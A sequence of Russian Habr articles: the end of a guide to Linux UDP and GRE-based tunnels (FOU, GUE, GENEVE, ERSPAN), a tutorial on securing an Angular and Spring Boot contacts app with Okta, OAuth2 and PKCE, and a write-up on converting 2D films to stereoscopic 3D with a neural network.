Туннелирование может выполняться на разных уровнях сетевого стека. Туннели IPIP, SIT и GRE существуют на уровне IP. А туннели FOU (они устроены по схеме «foo over UDP») работают на уровне UDP.
В применении UDP-туннелирования есть некоторые преимущества перед IP-туннелированием. Дело в том, что протокол UDP работает с существующей аппаратной инфраструктурой.
Например, это [RSS](https://en.wikipedia.org/wiki/Network_interface_controller#RSS) в сетевых картах, [ECMP](https://en.wikipedia.org/wiki/Equal-cost_multi-path_routing) в коммутаторах, это технологии расчёта контрольных сумм без участия центрального процессора. Применение соответствующего FOU-[патча](https://lwn.net/Articles/614433/) для разработчиков показывает значительное увеличение производительности для протоколов SIT и IPIP.
В настоящее время FOU-туннели поддерживают инкапсуляцию протоколов на основе IPIP, SIT и GRE. Вот как может выглядеть заголовок FOU-пакета.
*Заголовок пакета туннеля FOU*
Вот как создать туннель FOU:
```
# ip fou add port 5555 ipproto 4
# ip link add name tun1 type ipip remote 192.168.1.1 local 192.168.1.2 ttl 225 encap fou encap-sport auto encap-dport 5555
```
Первая команда настраивает принимающий порт FOU для IPIP, привязанный к номеру 5555. Для использования GRE нужно использовать `ipproto 47`. Вторая команда настраивает новый виртуальный интерфейс IPIP (`tun1`), рассчитанный на FOU-инкапсуляцию, целевым портом которого является 5555.
Обратите внимание на то, что FOU-туннели не поддерживаются в Red Hat Enterprise Linux.
GUE
---
Ещё одна разновидность UDP-туннелирования представлена технологией GUE ([Generic UDP Encapsulation](https://tools.ietf.org/html/draft-ietf-intarea-gue)). Разница между FOU и GUE заключается в том, что у GUE имеется собственный заголовок, который содержит сведения о протоколе и другие данные.
В настоящее время туннели GUE поддерживают внутреннюю инкапсуляцию IPIP, SIT и GRE. Вот как может выглядеть заголовок GUE-пакета.
*Заголовок пакета туннеля GUE*
Вот как создать GUE-туннель:
```
# ip fou add port 5555 gue
# ip link add name tun1 type ipip remote 192.168.1.1 local 192.168.1.2 ttl 225 encap gue encap-sport auto encap-dport 5555
```
Благодаря этим командам будет создан принимающий GUE-порт для IPIP, привязанный к номеру 5555, и IPIP-туннель, настроенный на GUE-инкапсуляцию.
GUE-туннели не поддерживаются в Red Hat Enterprise Linux.
GENEVE
------
Туннели GENEVE (Generic Network Virtualization Encapsulation) поддерживают все возможности XLAN, NVGRE и STT. Технология GENEVE спроектирована с учётом обхода выявленных ограничений этих трёх технологий. Многие считают, что данная технология способна, в перспективе, полностью заменить эти три более старых формата. Вот как выглядит заголовок пакета туннеля GENEVE.
*Заголовок пакета туннеля GENEVE*
Этот заголовок похож на заголовок [VXLAN](https://developers.redhat.com/blog/2018/10/22/introduction-to-linux-interfaces-for-virtual-networking/#vxlan)-пакета. Основное различие между ними заключается в том, что заголовок GENEVE является более гибким. Он позволяет очень легко реализовывать новые возможности путём расширения заголовков с помощью полей Type-Length-Value (TLV).
Подробности о GENEVE можно узнать [здесь](https://tools.ietf.org/html/draft-ietf-nvo3-geneve-08) и [здесь](https://www.redhat.com/en/blog/what-geneve).
GENEVE используется в SDN-решении [Open Virtual Network](https://access.redhat.com/documentation/en-us/red_hat_openstack_platform/13/html/networking_with_open_virtual_network/open_virtual_network_ovn) (OVN) как стандартное средство инкапсуляции. Вот как создать туннель GENEVE:
```
# ip link add name geneve0 type geneve id VNI remote REMOTE_IPv4_ADDR
```
ERSPAN и IP6ERSPAN
------------------
Технология ERSPAN (Encapsulated Remote Switched Port Analyzer) использует GRE-инкапсуляцию для расширения базовых возможностей по зеркалированию портов со 2 уровня до 3 уровня. Это позволяет пересылать зеркалируемый трафик по маршрутизируемой IP-сети. Вот как выглядит заголовок пакета ERSPAN.
*Заголовок пакета туннеля ERSPAN*
Туннели ERSPAN позволяют Linux-хостам действовать в роли источника трафика ERSPAN и отправлять отзеркалированный ERSPAN-трафик либо на удалённый хост, либо в некий пункт назначения ERSPAN, который принимает и обрабатывает ERSPAN-пакеты, сгенерированные коммутаторами Cisco или другими устройствами, поддерживающими ERSPAN. Подобную систему можно использовать для анализа и диагностики сети, для выявления вредоносного трафика.
Linux в настоящее время поддерживает большинство возможностей двух версий ERSPAN — v1 (type II) и v2 (type III).
Вот как создавать ERSPAN-туннели:
```
# ip link add dev erspan1 type erspan local LOCAL_IPv4_ADDR remote REMOTE_IPv4_ADDR seq key KEY erspan_ver 1 erspan IDX
```
Ещё можно поступить так:
```
# ip link add dev erspan1 type erspan local LOCAL_IPv4_ADDR remote REMOTE_IPv4_ADDR seq key KEY erspan_ver 2 erspan_dir DIRECTION erspan_hwid HWID
```
Добавим tc-фильтр для мониторинга трафика:
```
# tc qdisc add dev MONITOR_DEV handle ffff: ingress
# tc filter add dev MONITOR_DEV parent ffff: matchall skip_hw action mirred egress mirror dev erspan1
```
Итоги
-----
Мы рассмотрели здесь довольно много технологий создания туннелей в Linux. Вот сводная таблица по ним.
| | | | |
| --- | --- | --- | --- |
| Тип туннеля / подключения | Внешний заголовок | Инкапсулированный заголовок | Внутренний заголовок |
| ipip | IPv4 | None | IPv4 |
| sit | IPv4 | None | IPv4/IPv6 |
| ip6tnl | IPv4 | None | IPv4/IPv6 |
| vti | IPv4 | IPsec | IPv4 |
| vti6 | IPv6 | IPsec | IPv6 |
| gre | IPv4 | GRE | IPv4/IPv6 |
| gretap | IPv4 | GRE | Ether + IPv4/IPv6 |
| gre6 | IPv6 | GRE | IPv4/IPv6 |
| gre6tap | IPv6 | GRE | Ether + IPv4/IPv6 |
| fou | IPv4/IPv6 | UDP | IPv4/IPv6/GRE |
| gue | IPv4/IPv6 | UDP + GUE | IPv4/IPv6/GRE |
| geneve | IPv4/IPv6 | UDP + Geneve | Ether + IPv4/IPv6 |
| erspan | IPv4 | GRE + ERSPAN | IPv4/IPv6 |
| ip6erspan | IPv6 | GRE + ERSPAN | IPv4/IPv6 |
Обратите внимание на то, что все туннели, примеры создания которых здесь показаны, существуют только до перезагрузки сервера. Если вы хотите создать туннель, восстанавливающийся и после перезагрузки, рассмотрите возможность использования демона для настройки сети, наподобие [NetworkManager](https://developer.gnome.org/NetworkManager/stable/), или примените подходящий механизм из используемого вами дистрибутива Linux.
**Уважаемые читатели!** Какими Linux-туннелями вы пользуетесь? | https://habr.com/ru/post/457386/ | null | ru | null |
# Okta: безопасный доступ к приложениям на Angular + Spring Boot
> Перевод статьи подготовлен в рамках набора учащихся на курс [**«Разработчик на Spring Framework».**](https://otus.pw/EB9K/)
>
> Приглашаем также всех желающих на открытый демо-урок [**«Конфигурация Spring-приложений».**](https://otus.pw/A4Qz/) На занятии рассмотрим, как можно конфигурировать Spring Boot приложения с помощью свойств:
> - properties vs. YAML
> - @Value + SpEL
> - @ConfigurationProperties
> - Externalized конфигурация.
> Присоединяйтесь!
>
>
---
Разрабатывая корпоративные веб-приложения, каждый из нас рано или поздно сталкивается с необходимостью обеспечить их безопасность и защитить их ресурсы от несанкционированного доступа. Нужно определить роли для управления доступом, которые будут назначаться пользователям или группам и наделять их полномочиями выполнять те или иные операции в приложении.
[**Okta**](https://developer.okta.com/) — это облачный сервис, который позволяет управлять удостоверениями и доступом. Согласно документации Okta, это сервис корпоративного уровня, который создан для управления удостоверениями в облачной среде, но при этом совместим и со многими локальными приложениями. С его помощью ИТ-специалисты могут управлять доступом сотрудников к любому приложению или устройству. Сервис развернут на надежной и защищенной облачной платформе, которая обладает широкими возможностями аудита и тесно интегрируется с локальными приложениями, службами каталогов и системами управления удостоверениями. Подробную информацию о том, как Okta интегрируется с приложениями, можно получить по [этой ссылке](https://www.okta.com/resources/whitepaper/how-okta-integrates-applications-architectural-overview/).
Для авторизации пользователей в Okta используется протокол OAuth2. Подробнее о протоколе OAuth2 и стандарте Open ID Connect (OIDC) можно почитать в [блоге Okta](https://developer.okta.com/blog/2017/06/21/what-the-heck-is-oauth).
В этой статье мы рассмотрим демонстрационное приложение «Контакты» и настройку разрешений на просмотр, создание, редактирование и удаление контактов. Это вторая часть цикла статей о приложении «Контакты», посвященная его защите с помощью Okta. О базовом приложении подробно написано в [первой статье цикла: «Разработка веб-приложения на Spring Boot + Angular»](https://medium.com/@raghavendra.pes/building-web-application-with-spring-boot-and-angular-853aed3ecfea).
Полный код, фрагменты которого мы рассматриваем в этой статье, доступен на [GitHub](https://github.com/raghav141988/contacts/tree/okta).
В итоге наше приложение будет иметь следующую архитектуру:
Компонентная архитектура приложения «Контакты», использующего протокол OAuthО том, как контейнеризировать это приложение и развернуть его в кластере Kubernetes, можно узнать по ссылкам:
[Kubernetes: развертывание приложения на Angular + Java / Spring Boot в Google Kubernetes Engine (GKE)](https://medium.com/@raghavendra.pes/deploying-angular-java-spring-boot-application-in-google-kubernetes-engine-gke-b7d96ce084b5)
[Kubernetes: развертывание приложения на Angular + Spring Boot в облаке Microsoft Azure](https://medium.com/@raghavendra.pes/kubernetes-deploying-angular-spring-boot-application-in-microsoft-azure-cloud-dd8fb63419c5)
### Конфигурация на портале разработчика Okta
Для начала нам нужно настроить учетную запись Okta и добавить приложение в Okta. [Здесь](https://developer.okta.com/signup/) можно создать учетную запись разработчика бесплатно.
После создания учетной записи мы можем добавить наше приложение в консоль администрирования Okta. Для этого выберем вкладку Applications (Приложения) и щелкнем Add Application (Добавить приложение).
Выберем в качестве платформы Single Page App (Одностраничное приложение) и настроим его так, как показано на скриншоте ниже. Здесь мы отметим только опцию Authorization code (Код авторизации), поскольку нам не нужно, чтобы токен возвращался непосредственно в URL-адресе (о связанных с этим рисках безопасности написано в [этой статье](https://developer.okta.com/blog/2019/05/01/is-the-oauth-implicit-flow-dead) в блоге Okta).
В нашем случае требуется два перенаправления входа: во-первых, когда пользователь входит в приложение через пользовательский интерфейс, куда сервер авторизации Okta должен перенаправлять пользователя с указанием кода авторизации, а во-вторых — когда пользователь напрямую вызывает открытые API серверной части. Также выберем здесь PKCE.
OAuth предлагает различные «потоки авторизации» (authorization code flows) — выбор конкретного потока зависит от сценария использования приложения. О том, какой поток OAuth выбрать, можно прочитать в [этой статье на Medium](https://medium.com/@robert.broeckelmann/when-to-use-which-oauth2-grants-and-oidc-flows-ec6a5c00d864) или в [документации Okta](https://developer.okta.com/docs/concepts/auth-overview/#what-kind-of-client-are-you-building). Пользовательский интерфейс нашего демонстрационного приложения представляет собой одностраничное приложение на Angular, поэтому выберем неявный поток (implicit flow) с дополнительной проверкой для обмена кодом (Proof Key Code Exchange, PKCE).
**Авторизация запросов через сервер авторизации**
Для авторизации всех входящих запросов к приложению нам понадобится сервер авторизации. В нашем примере используется сервер авторизации, который Okta предоставляет по умолчанию. Если вы захотите написать собственный сервер для авторизации запросов, это тоже возможно; тогда нужно будет указать в Okta ссылку на его конечную точку.
Чтобы увидеть сервер авторизации на портале Okta, нужно выбрать пункт меню, показанный ниже на скриншоте.
#### Добавление заявлений о группах (groups claims) в приложение «Контакты»
Для демонстрации создадим группу Admin. Администратор будет обладать правами на создание/редактирование/удаление.
О том, как создать группу и идентифицировать ее с помощью токена доступа, можно узнать в [блоге Okta](https://developer.okta.com/blog/2017/10/13/okta-groups-spring-security). В официальном блоге Okta описана автономная конфигурация приложения на Spring Boot в качестве веб-проекта Okta. В нашем случае менять тип проекта не нужно. Мы просто создадим группы и включим заявления о группах в токен доступа, выдаваемый сервером авторизации.
На скриншотах ниже показано, как мы создали группу, связали ее с нашим приложением и включили заявление о группах в токен доступа.
Управление группами
Назначение групп/пользователей для приложенияДобавление заявления о группах в токен доступа, выдаваемый сервером авторизацииНастроив проект через консоль администрирования Okta описанным выше способом, можно приступать к его интеграции с приложением «Контакты» для защиты доступа к приложению.
#### Настройка Okta в клиентской части приложения
Для защиты клиентской части приложения «Контакты» воспользуемся SDK-библиотекой Okta для Angular. Мы будем авторизовывать пользователя, перенаправляя его на конечную точку авторизации, настроенную для нашей организации в Okta. Библиотеку можно установить с помощью `npm`:
```
npm install @okta/okta-angular --save
```
Чтобы реализовать этот промежуточный слой, после установки нужно будет указать значения из клиента OIDC, полученные на предыдущем этапе. Также понадобится URL-адрес организации в Okta — его можно узнать на домашней странице консоли разработчика Okta.
В файле app.module.ts создадим объект конфигурации и в нем установим true для параметра PKCE.
```
const oktaConfig = {
issuer: 'https://{yourOktaDomain}/oauth2/default',
redirectUri: window.location.origin + '/implicit/callback',
clientId: 'your clientId',
pkce: true
};
```
Этот объект нужно добавить в раздел providers. Также импортируем `OktaAuthModule`:
```
import { OktaAuthModule, OktaCallbackComponent } from '@okta/okta-angular';
import {OKTA_CONFIG} from '@okta/okta-angular';
....
imports:[
...
OktaAuthModule
...
]
providers: [
...
{ provide: OKTA_CONFIG, useValue: oktaConfig }
...
]
```
В модуле обработки маршрутов приложения зададим защиту маршрута, воспользовавшись Route Guard из Angular. Вот фрагмент кода из app-routing-module.ts:
```
import { OktaCallbackComponent } from '@okta/okta-angular';
...
const routes: Routes = [
{ path: 'contact-list',
canActivate: [ OktaAuthGuard ],
component: ContactListComponent },
{ path: 'contact',
canActivate: [ OktaAuthGuard, AdminGuard ],
component: EditContactComponent },
{
path: 'implicit/callback',
component: OktaCallbackComponent
},
{ path: '',
redirectTo: 'contact-list',
pathMatch: 'full'
},
];
```
Здесь мы защищаем просмотр контактов с помощью `AuthGuard`, а создание, обновление, удаление контактов — с помощью `AdminGuard` и `OktaAuthGuard`.
Метод `canActivate` в `OktaAuthGuard` используется для проверки того, прошел ли пользователь процедуру аутентификации. Если нет, он перенаправляется на страницу входа Okta; если да, мы позволяем ему просматривать страницу, на которую ведет маршрут.
```
async canActivate(route: ActivatedRouteSnapshot, state: RouterStateSnapshot) {
this.authenticated = await this.okta.isAuthenticated();
if (this.authenticated) { return true; }
// Redirect to login flow.
this.oktaAuth.loginRedirect();
return false;
}
```
Аналогичным образом метод `canActivate` в `AdminGuard` проверяет, принадлежат ли вошедшие в систему пользователи к группе `Admin`; если нет, запрос на доступ к маршруту отклоняется и выводится предупреждение.
```
async canActivate(route: ActivatedRouteSnapshot, state: RouterStateSnapshot) {
this.user = await this.okta.getUser();
const result = this.user.groups.find((group) => group === 'Admin');
if (result) {
return true;
} else {
alert('User is not authorized to perform this operation');
return false; }
}
```
Ниже показана последовательность операций, которые выполняются, когда пользователь пытается обратиться к маршруту /contact-list для просмотра списка контактов.
Последовательность операций при выводе контактов на экранНиже представлена последовательность операций, демонстрирующая принцип работы PKCE. В случае одностраничного приложения, если токен возвращается непосредственно как часть URL-адреса перенаправления, любое расширение браузера может получить доступ к токену еще до того, как его увидит приложение. Это представляет потенциальную угрозу безопасности. Для снижения этого риска в PKCE вычисляется хэш SHA256 от случайной строки верификатора кода (code verifier), и этот хэш включается в запрос кода доступа как контрольное значение (code challenge). Когда поступает запрос на обмен токена доступа на код доступа, сервер авторизации может снова вычислить хэш SHA256 от верификатора кода и сопоставить результат с сохраненным контрольным значением.
Библиотека для Angular производит все эти операции за кадром: вычисляет хэш от верификатора кода с помощью алгоритма SHA256 и обменивает токен на код доступа, сопоставляя верификатор кода с контрольным значением.
Неявное разрешение на доступ (implicit grant) с использованием PKCE в приложении «Контакты»#### Настройка Okta в серверной части приложения
Для того чтобы приложение Spring Boot поддерживало Okta, нужно установить следующие зависимости:
```
com.okta.spring
okta-spring-boot-starter
1.2.1
org.springframework.security.oauth
spring-security-oauth2
org.springframework.security.oauth
spring-security-oauth2
2.4.0.RELEASE
```
Spring Security OAuth2 и Okta Spring Boot Starter следует добавить в classpath, тогда Spring настроит поддержку Okta во время запуска.
Укажем следующие значения конфигурации для настройки и подключения Spring к приложению Okta:
```
okta.oauth2.client-id=
okta.oauth2.issuer=https://{yourOktaDomain}/oauth2/default
okta.oauth2.groups-claim=groups
```
В классе `SpringSecurity` нужно указать, что приложение Spring Boot является сервером ресурсов:
```
@EnableWebSecurity
@EnableGlobalMethodSecurity(prePostEnabled = true)
@Profile("dev")
@Slf4j
public class SecurityDevConfiguration extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception{
http.cors().and().csrf().disable();
http.cors().configurationSource(request -> new CorsConfiguration(corsConfiguratione()));
// http.authorizeRequests().antMatchers(HttpMethod.OPTIONS, "/**").permitAll()
// .and().
http.antMatcher("/**")
.authorizeRequests()
.antMatchers(HttpMethod.OPTIONS, "/**").permitAll()
.antMatchers("/").permitAll()
.anyRequest().authenticated();
http.oauth2ResourceServer();
}
```
При такой конфигурации конечные точки нашего приложения защищены. Если попробовать обратиться к конечной точке /contacts по адресу <http://localhost:8080/api/contacts>, будет возвращена ошибка 401, поскольку запрос не пройдет через фильтр аутентификации.
Для того чтобы предоставить права на создание, обновление и удаление контактов только администратору, нужно включить защиту методов в классе `SpringSecurityConfig` при помощи следующей аннотации:
```
@EnableGlobalMethodSecurity(prePostEnabled = true)
```
На конечных точках, которые мы хотим защитить, можно выполнять проверку ролей с помощью `PreAuthorize` следующим образом:
```
@PreAuthorize("hasAuthority('Admin')")
public Contact saveContact(@RequestBody Contact contact,@AuthenticationPrincipal Principal userInfo) {
```
Для получения сведений о вошедшем в систему пользователе можно использовать объект `Principal` (`@AuthenticationPrincipal`).
#### Защита доступа к API из клиентской части приложения с помощью токена доступа
Теперь Okta защищает и клиентскую, и серверную часть нашего приложения. Когда клиентская часть направляет запрос к API, она должна передавать токен доступа в заголовке авторизации. В Angular для этого можно использовать перехватчик `HttpInterceptor`. В классе перехватчика авторизации можно задать токен доступа для любого HTTP-запроса следующим образом:
```
private async handleAccess(request: HttpRequest, next: HttpHandler): Promise> {
const accessToken = await this.oktaAuth.getAccessToken();
if ( accessToken) {
request = request.clone({
setHeaders: {
Authorization: 'Bearer ' + accessToken
}
});
}
return next.handle(request).toPromise();
}
}
```
**Прямой доступ к API приложения через внешний сервер API**
Если все настроено правильно, пользовательский интерфейс нашего приложения сможет получать доступ к API серверной части. В корпоративных приложениях часто присутствует несколько микросервисов, к которым обращается пользовательский интерфейс приложения, а также ряд микросервисов, доступ к которым открыт непосредственно для других приложений или пользователей. Так как наше приложение настроено как одностраничное, в настоящее время оно поддерживает доступ только из JavaScript-кода. Чтобы открыть доступ к микросервисам как к API для других потребителей API, нужно создать в Okta серверное приложение с типом «веб-приложение», а затем создать микросервисы как одностраничные приложения и разрешить единый вход для доступа к ним (технически мы имеем дело с двумя разными приложениями в Okta).
Я разработал небольшое решение, позволяющее обойти эту проблему. Мы по-прежнему будем использовать неявный поток с PKCE, но на этот раз не станем перенаправлять пользователя на страницу входа (при направлении запроса к API войти в Okta в ручном режиме невозможно, поскольку в этом случае пользователем будет пользователь API). Вместо этого будем следовать следующему алгоритму.
Последовательность операций при прямом доступе к серверному APIЯ создал сервер API, то есть микросервис-обертку, предоставляющий список API, к которым мы хотим открыть доступ как к серверным API.
Эта обертка выдает токены доступа с указанием конечной точки входа, а затем вызывает нужный API, используя токен доступа.
Она выступает в роли прокси-сервера для основного серверного API нашего приложения и открывает доступ к необходимым сервисам. В ней используется библиотека Spring Cloud OpenFeign, предназначенная для написания декларативных REST-клиентов. Такая обертка представляет собой очень простой способ создания клиентов для веб-сервисов. Она позволяет сократить количество кода при написании потребителей веб-сервисов на базе REST, а также поддерживает перехватчики, позволяющие реализовать любые промежуточные операции, которые должны выполняться до направления запроса к API. В нашем случае мы будем использовать перехватчик для задания токена доступа и распространения прав доступа пользователей. Дополнительные сведения о Feign доступны [по этой ссылке](https://cloud.spring.io/spring-cloud-netflix/multi/multi_spring-cloud-feign.html).
При правильной настройке все конечные точки нашего приложения, а также компоненты клиентской части приложения будут надежно защищены. Доступ к нему будет открыт только для авторизованных пользователей. О том, как контейнеризировать это приложение и развернуть его в кластере Kubernetes, можно прочитать по ссылкам:
[Kubernetes: развертывание приложения на Angular + Java / Spring Boot в Google Kubernetes Engine (GKE)](https://medium.com/@raghavendra.pes/deploying-angular-java-spring-boot-application-in-google-kubernetes-engine-gke-b7d96ce084b5)
[Kubernetes: развертывание приложения на Angular + Spring Boot в облаке Microsoft Azure](https://medium.com/@raghavendra.pes/kubernetes-deploying-angular-spring-boot-application-in-microsoft-azure-cloud-dd8fb63419c5)
---
> Узнать подробнее о курсе [**«Разработчик на Spring Framework»**](https://otus.pw/EB9K/)
>
> Смотреть вебинар [**«Конфигурация Spring-приложений»**](https://otus.pw/A4Qz/)
>
> | https://habr.com/ru/post/555298/ | null | ru | null |
# Как посмотреть плоские фильмы в 3D
Это расширенная версия моей публикации на [Medium](https://medium.com/swlh/how-to-convert-a-2d-movie-to-3d-d54ec5f9f233)
Недавно я сидел в баре с другом зашел разговор о том, в каких задачах в принципе может быть эффективен нейросетевой подход, а где они совершенно излишни. Один класс примеров, где нейросети часто на голову превосходят классические алгоритмы - обработка изображений. Точность решения задачи распознования объектов на изображении может даже превосходить человеческое восприятие. Кроме того, интересны и задачи переноса стиля, генерации реалистичных изображений, superresolution итд. Нейросети могут быть очень эффективны также в задачах типа pixtopix, когда происходит генерация одного изображения из другого. Тогда у меня и возникла идея попробовать применить данные алгоритмы для преобразования 2d фильмов в 3d.
О задаче
--------
Технология создания стереоскопических 3д фильмов насчитывает [около 100 лет](https://www.imdb.com/title/tt0013506/trivia%20) - больше чем истории записи совмещенных звуковых и видео дорожек. Однако из-за требований к оборудованию для воспроизведения и наличия специальных очков для просмотра, стереоскопические фильмы до сих пор не являются стандартом для съемок. С появлением дешевых очков виртуальной реальности может возникнуть соблазн пересмотреть любимые фильмы в 3д. Однако для создания стереоскопического фильма используются 2 видеокамеры, расположенные на расстоянии около 6.5 см снимающие 2 видео одновременно. Для качественной конвертации старых фильмов в 3д и показа их в кинотеатре необходима ручная работа большого количества художников для разметки сцены и ручной отрисовки большинства кадров для другого глаза.
Данная задача до недавнего времени плохо поддавалась автоматизации из-за отсутствия однозначного решения при восстановлении стереоскопического изображения из монокулярного. Существует несколько проблем, которые плохо поддаются программному алгоритмическому решению. В идеальном случае, для генерации (рендеринга) изображения для глаза необходимо знание о пространственном расположении всех объектов, видимых глазом. Задача определить расстояние до объекта при помощи одного глаза является невыполнимой из-за недостатка данных. Преимущество бинокулярного зрения именно в том, что параллакс можно использовать для оценки дальности до объекта. Тем не менее, если человек закроет глаз, он может легко сказать, далеко или близко находится какой-либо объект. Определение дальности до объекта при монокулярном зрении возможно при получении информации о фокусном расстоянии и напряжению мышц, управляющих хрусталиком (глаз всегда сфокусирован либо на объектах вблизи, либо вдали). У близоруких и дальнозорких людей нарушена способность фокусироваться на далеких и близких объектах. Если же человеку дать фото , снятое при помощи фотоаппарата с фиксированным, но неизвестным фокусным расстоянием, принципиально невозможно определить далеко или близко находится изображенный объект от камеры. Съемка фото при помощи фото с большой глубиной резкости позволяет обмануть наш мозг относительно расстояния и размеров объектов или даже об относительных размерах объектов.
Однако если человека не пытаются намеренно обмануть, то можно оценить дальность и относительные расстояния исходя из нашего опыта и представления о стандартных размерах видимых объектов и перспективе. Человеческий мозг сам определяет, что если видимый размер дерева меньше, чем человек то скорее всего мы имеем дело с человеком вдали. Именно эта способность необходима для создания кадров для второго глаза из монокулярных изображений.
Вторая существенная проблема — при создании кадра часто нужна отсутствующая информация.
Даже если мы получим информацию, что видит правый глаз на картинке, из нее нельзя восстановить, что видит левый глаз — в изображении доски нет никакой информации о том, что же за забором. В большинстве случаев, тем не менее, картинки бывают схожими и единственная неопределенность возникает, когда близко расположенные объекты закрывают различные части фона для правого и левого глаза. Художникам необходимо догадываться, что находится в некоторых областях, невидимых одним глазом. К счастью, в фильмах обычно все важное и существенное показывают а закрытые части от заднего плана мало отличаются от фона. Две задачи — определение расстояния до видимых объектов и отрисовка невидимых областей затрудняют автоматизацию. Однако обе эти задачи выглядят достаточно простыми для решения при помощи сверточных нейросетей. Задача определения дальности объектов из монокулярных изображений нужна для разработки беспилотных автомобилей, поэтому существуют готовые решения и [нейросети, приемлемо ее решающие](https://github.com/ialhashim/DenseDepth).
Так как построение карты глубин, а это важная часть задачи генерации изображения для левого глаза из изображения для правого глаза решена, можно использовать вышеназванную предобученную сеть как часть своего решения (такой подход называется transfer learning)
Я приобрел дешевые 3d очки системы google cardboard для небольших экспериментов с vr. Одна из возможностей их использования мне показалась особенно привлекательной - смотреть стереоскопические изображения и видео.
Подготовка датасета
-------------------
В качестве обучающего и валидационного датасета были использованы кадры из пары десятков ~~скачанных с торрентов~~ легально приобретенных 3D фильмов и мультфильмов. Для предотвращения переобучения модели использовался каждый 200й кадр, что исключало почти идентичные кадры из рассмотрения. Часто стереоскопические фильмы храняться в том же формате, что и обычные фильмы с особой меткой в метаданных и изображением, состоящим из 2х частей - для правого и левого глаза. Форматы стереовидео называются OverUnder, Side-by-Side. Чаще всего в видео OverUnder изображения для левого глаза находится над изображением для правого глаза, хотя редко встречается и противоположная ситуация. В некоторых вариантах формата изображение сжато в два раза по одной из осей. Такого типа видео легко интерпретируются большинством видеопроигрывателей. Подготовим нарезку верхних и нижних кадров для обучения и положим их в папки Uf и Df:
После конвертации нескольких фильмов в папке Uf находятся кадры для правого глаза, Df для левого глаза. Также для такого рода задач важна информация о геометрическом положении пикселей. Учет положения пикселей может быть реализован в слое [CoordConv](https://github.com/uber-research/CoordConv) - слое, добавляющем координаты пикселя. Идея CoordConv может также быть реализована путем генерации input - канала, содержащего координаты пикселей (корректно заставить работать CoordConv на фреймворке keras оказалось трудозатратно). Создадим генератор изображений для обучения:
Архитектура используемой сети
-----------------------------
Я использовал end-to-end модель без добавления знаний о геометрии мира и расположении глаз. После нескольких попыток, была выбрана следующая архитектура (очень постарался, чтоб нарисовать,но многие детали все равно не очень подробны):
 Из особенностей, специфичных для задачи можно выделить
1. Использование предобученной сети для определения дальности до объектов (отличные результаты были получены тут <https://github.com/ialhashim/DenseDepth> ). Выход нейросети был нормирован для ускорения дальнейшего обучения.
2. Использования Skip-connections — кадр для правого глаза должен быть похож на кадр для левого глаза
3. Использование информации о геометрическом положении пикселя (обычно бывает реализовано в виде CoordConv слоя [<https://arxiv.org/pdf/1807.03247.pdf> ], я просто добавил 2 входных канала с использованием numpy, что эквивалентно)
4. Использование фильтров, в свертках последних Residual блоков вытянутых горизонтально — связано с тем, что основные искажения — горизонтальные смещения некоторых объектов.
Эксперименты показали, что использование в качестве функции потерь попиксельного среденеквадратичного или среднемодульного отклонения приводит к размыванию и низкому качеству изображения. Поэтому в качестве функции потерь использовалась линейная комбинация mse, [structural similarity loss](https://ieeexplore.ieee.org/document/1284395) (это функция оценки схожести изображений, включающая в себя схожесть контрастности изображений) и loss, основанный на низкоуровневых признаках, извлеченных при помощи нейросети VGG16.
Загрузим предобученную DenseDepth модель и добавим слои для генерации изображения для другого глаза: (что лежит в custom\_objects можно посмотреть на [гитхабе](https://github.com/Alexankharin/3dfilms) или [kaggle](https://www.kaggle.com/alexanderkhar/3dfilms)). Предобученная модель nyu.h5 взята [отсюда](https://github.com/ialhashim/DenseDepth%20)
Обучение
--------
Сохраняем промежуточные результаты в чекпоинт и запустим обучение (делал это в облаке [kaggle](https://www.kaggle.com/alexanderkhar/3dfilms)):
В результате была получена нейросеть, генерирующая изображение из монокулярного. Для проверки качества работы удобно создавать гифки, подобные той, что в заголовке - периодически меняем 2 изображения и видим, что возникает ощущение взгляда "под другим углом". Для этого создадим функцию создания анимированных gif из картинки:
Результат:
Видим, что на gif изображениях ощущения объема достаточно реалистичное. Попробуем перекодировать фильм, изначально выпущенный в 2d. Для этого сконвертируем каждый кадр и добавим его в новом видео (к сожалению ютуб поддерживает только формат side-by-side):
К сожалению, скорость конвертации далека от реального времени (на моем ноутбуке с gtx1060 3gb) 1 кадр кодируется от 100мс до 1 с в зависимости от разрешения. Есть надежда, что более мощные gpu позволят сделать 3d - видеоплеер с конвертацией в реальном времени.
К сохраненному видео можно добавить звук и флаги метаинформации при помощи утилиты ffmpeg:
```
ffmpeg -i output.mp4 -i inputvideo.mp4 -map 0:v -metadata stereo_mode=1 output.mkv
```
Загрузка нейросети в облако GoogleColab
---------------------------------------
Так как GPU есть не у всех, готовую предобученную сеть можно запустить в [googleColab,](https://colab.research.google.com/drive/1c4c53gL_9qpiNGxVOSqjojxLy_1MzfUS?usp=sharing) выделяющей каждому юзеру виртуальную машину с gpu ускорителем . Я попытался сделать относительно простой интерфейс. Для запуска следует нажать run и загрузить ваше видео. Конвертация обычно занимает около 1 с на 1 кадр при разрешении по умолчанию. После нее видео скачается на ваш компьютер.
Для того, чтобы оценить работу сети по конвертации фильмов, я сконвертировал несколько из них и приобрел недорогие 3d очки для смартфона. Для просмотра использовалось [приложение1](https://play.google.com/store/apps/details?id=it.couchgames.apps.cardboardcinema&hl=en_US&gl=US) [приложение2](https://play.google.com/store/apps/details?id=com.abg.VRVideoPlayer&hl=ru&gl=US) и [приложение3](https://play.google.com/store/apps/details?id=in.fulldive.shell&hl=ru&gl=US). По результатам субъективного опыта могу сказать, что эффект объема действительно присутствует и серьезных артефактов, мешающих просмотру не наблюдается. Однако сгенерированное изображение для левого глаза оказывается немного размытым, поэтому при просмотре может возникнуть ощущение, что просело зрение на одном глазу (сказано другом, который проверял видео и немного испугался, что глаз стал хуже видеть).
К сожалению, youtube плохо отображает стереоскопические видео на различных устройствах. Поэтому примеры некоторые конвертированные видео показаны в режиме стереопары для красно-синих очков. Для примера также одно видео конвертировано без добавления метаданных о типе стереопары (отображается в youtube как Sidebyside видео)
Заключение
----------
Спасибо всем, кто дочитал досюда. Вот ссылка на [googleColab](https://colab.research.google.com/drive/1c4c53gL_9qpiNGxVOSqjojxLy_1MzfUS?usp=sharing) для преобразования ваших 2D-видео в 3D. Также буду рад вашим предложениям по повышению качества конвертера (не хотелось бы сильно усложнять модель при этом). Конвертированные видео можно просматривать с помощью любых 3d мониторов/TV и VR-шлемов в том числе GoogleCardboard | https://habr.com/ru/post/529602/ | null | ru | null |
# Очень типобезопасно! Концепт продвинутой расширяемой системы единиц измерения с generic math для .NET
Привет!
